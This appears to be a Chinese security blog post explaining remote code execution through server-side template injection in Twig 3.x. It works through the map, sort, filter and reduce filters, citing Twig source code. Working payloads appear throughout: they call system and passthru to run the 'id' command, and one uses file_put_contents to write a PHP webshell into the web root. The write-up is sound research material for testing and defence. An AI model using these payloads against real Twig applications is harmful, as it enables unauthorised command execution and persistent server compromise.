上次发了一篇Twig 3.x with Symfony的SSTI利用方法,这几天刷twitter的时候又看到了一篇writeup,里面提到了另外一种rce的方法,这种方法不依赖于Symfony。
直接上结论,下面的payload在Twig 3.x 版本测试通过,看了1.x和2.x版本的代码,应该也是可以利用的。
{{["id"]|map("system")|join(",")
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
文档里面map的用法
允许用户传一个arrow function, arrow function最后会变成一个closure
举个例子
{{["man"]|map((arg)=>"hello #{arg}")}}
会被编译成
twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))
map
对应的函数是twig_array_map
,下面是其实现
function twig_array_map($array, $arrow) { $r = []; foreach ($array as $k => $v) { $r[$k] = $arrow($v, $k); } return $r; }
从上面的代码我们可以看到,$arrow 是可控的,可以不传arrow function,可以只传一个字符串。所以我们需要找个两个参数的能够命令执行的危险函数即可。通过查阅常见的命令执行函数:
system ( string
$command
[, int&$return_var
] ) : string
passthru ( string
$command
[, int&$return_var
] )
exec ( string
$command
[, array&$output
[, int&$return_var
]] ) : string
popen ( string
$command
, string$mode
)
shell_exec ( string
$cmd
) : string
只要可以传两个参数的基本都可以,所以前四个都是可以用的。
思考一下如果上面的都被禁了,还有其他办法吗?
file_put_contents ( string
$filename
, mixed$data
[, int$flags
= 0 [, resource$context
]] ) : int
通过{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
写个shell 也是可以的。
当然了应该还有其他函数可以利用。
下面通过调试来看一下传arrow fucntion 和 直接传字符串会有什么不同。
(arg)=>"hello #{arg}"
会被解析成ArrowFunctionExpression,经过一些列处理会变成一个闭包函数。
但是如果我们传的是 `{{["id"]|map("passthru")}}
passthru
会被解析成 ConstanExpression
{{["id"]|map("passthru")}}
最终会被编译成下面这样
twig_array_map([0 => "whoami"], "passthru")
按照这个思路,我们去找$arrow 参数的, 可以发现下面几个filter也是可以利用的
function twig_sort_filter($array, $arrow = null) { if ($array instanceof \Traversable) { $array = iterator_to_array($array); } elseif (!\is_array($array)) { throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array))); } if (null !== $arrow) { uasort($array, $arrow); } else { asort($array); } return $array; }
usort ( array
&$array
, callable$value_compare_func
) : bool
所以我们可以构造
{{["id", 0]|sort("passthru")}}
function twig_array_filter($array, $arrow) { if (\is_array($array)) { return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); } // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow); }
array_filter ( array
$array
[, callable$callback
[, int$flag
= 0 ]] ) : array
只需要传一个参数即可
{{["id"]|filter('system')}}
function twig_array_reduce($array, $arrow, $initial = null) { if (!\is_array($array)) { $array = iterator_to_array($array); } return array_reduce($array, $arrow, $initial); }
array_reduce ( array
$array
, callable$callback
[, mixed$initial
=NULL
] ) : mixed
刚开始还是像前面那样构造成了
{{["id", 0]|reduce("passthru")}}
但是会发现没有执行成功,是因为第一次调用的是passthru($initial, "id")
, $initial
是null,所以会失败。所以把$initial
赋值成要执行的命令即可
{{[0, 0]|reduce("passthru", "id")}}
不知道有没有自动化fuzz,把php允许有callback参数的所有函数找出来,如果有师傅研究过,欢迎来交流。